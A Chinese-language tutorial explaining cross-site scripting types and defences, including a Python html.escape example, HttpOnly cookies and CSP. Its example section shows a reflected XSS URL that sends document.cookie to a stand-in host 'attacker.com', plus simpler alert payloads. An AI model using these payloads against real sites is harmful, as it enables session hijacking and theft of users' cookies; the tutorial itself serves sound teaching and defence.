python网络安全 XSS

XSS (跨站脚本攻击)

XSS 是一种注入攻击,攻击者通过在网页中注入恶意客户端脚本(通常是 JavaScript),来攻击浏览该网页的其他用户。这种情况通常发生在网站没有对用户输入进行适当验证时。恶意脚本不会被当作普通文本,而是会被受害者的浏览器执行,就像它是网站本身的合法代码一样。

一个常见的例子是网站的评论区。攻击者可以发布一条包含恶意脚本的评论,例如 <script>alert(document.cookie)</script>。如果网站没有对这个输入进行净化处理,这条脚本就会被存储在数据库中。当其他用户浏览这个评论页面时,他们的浏览器就会执行这条脚本,从而可能盗取他们的 cookie。这些 cookie 通常包含 会话令牌,攻击者可以通过它劫持受害者的登录会话,而不需要知道他们的密码。

什么是 XSS?

XSS 是一种注入攻击,攻击者通过在网页中注入恶意脚本(通常是 JavaScript),当用户浏览该网页时,这些脚本会在用户的浏览器上执行。这些恶意脚本可以窃取用户的 Cookie、会话令牌,甚至修改网页内容,从而实现各种恶意行为。

简而言之,XSS 的核心是:信任。攻击者利用网站对用户输入的不信任,成功地让用户的浏览器信任并执行了攻击者提供的代码。

XSS 的分类

XSS 攻击主要分为三种类型:

  1. 存储型 XSS(Stored XSS):这是最危险的一种。攻击者将恶意脚本提交到网站的服务器,并永久存储在数据库中(比如博客评论、论坛帖子)。当其他用户访问包含该内容的页面时,恶意脚本就会被执行。由于脚本存储在服务器上,它会持续影响每个访问页面的用户。

  2. 反射型 XSS(Reflected XSS):这种攻击需要用户点击一个恶意链接。攻击者构造一个包含恶意脚本的 URL,并诱骗用户点击。当用户点击链接后,恶意脚本会作为请求参数发送到服务器,服务器未经过滤就将脚本反射(反射)回浏览器,导致脚本在用户浏览器中执行。

  3. DOM 型 XSS(DOM-based XSS):这种攻击不涉及服务器。恶意脚本在用户的浏览器中,通过修改页面的 DOM(文档对象模型) 结构而执行。攻击者通常利用网站 JavaScript 代码中的漏洞,将恶意数据作为参数传递给客户端脚本。由于整个过程发生在浏览器端,服务器端通常难以检测到这种攻击。

XSS 攻击示例

让我们以一个反射型 XSS 为例,假设一个搜索页面没有对搜索参数进行过滤: http://example.com/search?q=苹果手机

如果攻击者将 URL 修改为: http://example.com/search?q=<script>alert('XSS!')</script>

当用户访问这个 URL 时,页面会将 <script>alert('XSS!')</script> 直接显示出来,导致浏览器弹出一个 XSS! 的警告框。更恶劣的攻击会窃取用户的 Cookie: http://example.com/search?q=<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

这个恶意脚本会将用户的 document.cookie 发送到攻击者的服务器,从而实现会话劫持。

XSS 的防御

防御 XSS 的核心原则是:永远不要信任任何来自用户的数据。对用户输入的数据进行严格的过滤和编码,是防止 XSS 的关键。

1. 输入验证(Input Validation)

验证用户输入是否符合预期的格式和内容。例如,如果一个输入框只应包含数字,就应过滤掉所有非数字字符。

2. 输出编码(Output Encoding)

这是最有效且最重要的方法。在将用户输入的数据输出到 HTML 页面之前,必须对所有特殊字符进行 转义编码。例如,将 < 转换为 &lt;> 转换为 &gt;。这样,浏览器会将这些字符视为普通文本,而不是 HTML 标签或脚本。

Python 防御示例:

我们可以使用 html.escape() 函数来对字符串进行编码。

import html

user_input = "<script>alert('XSS!')</script>"

# 对用户输入进行编码
safe_output = html.escape(user_input)

print("原始输入:", user_input)
print("安全输出:", safe_output)
# 浏览器会显示 <script>alert('XSS!')</script>,而不是执行它

输出:

原始输入: <script>alert('XSS!')</script>
安全输出: &lt;script&gt;alert(&#x27;XSS!&#x27;)&lt;/script&gt;

为了防止 XSS 攻击窃取用户的 Cookie,应将敏感的会话 Cookie 设置为 HTTP-Only。这样,JavaScript 代码将无法通过 document.cookie 访问这些 Cookie,极大地限制了攻击者的能力。

4. 内容安全策略(CSP, Content Security Policy)

CSP 是一个强大的安全机制,它允许网站管理员定义一个白名单,明确指定哪些域名的资源(如脚本、样式表)可以被浏览器执行或加载。即使攻击者成功注入了恶意脚本,如果该脚本的来源不在白名单内,浏览器也会拒绝执行它。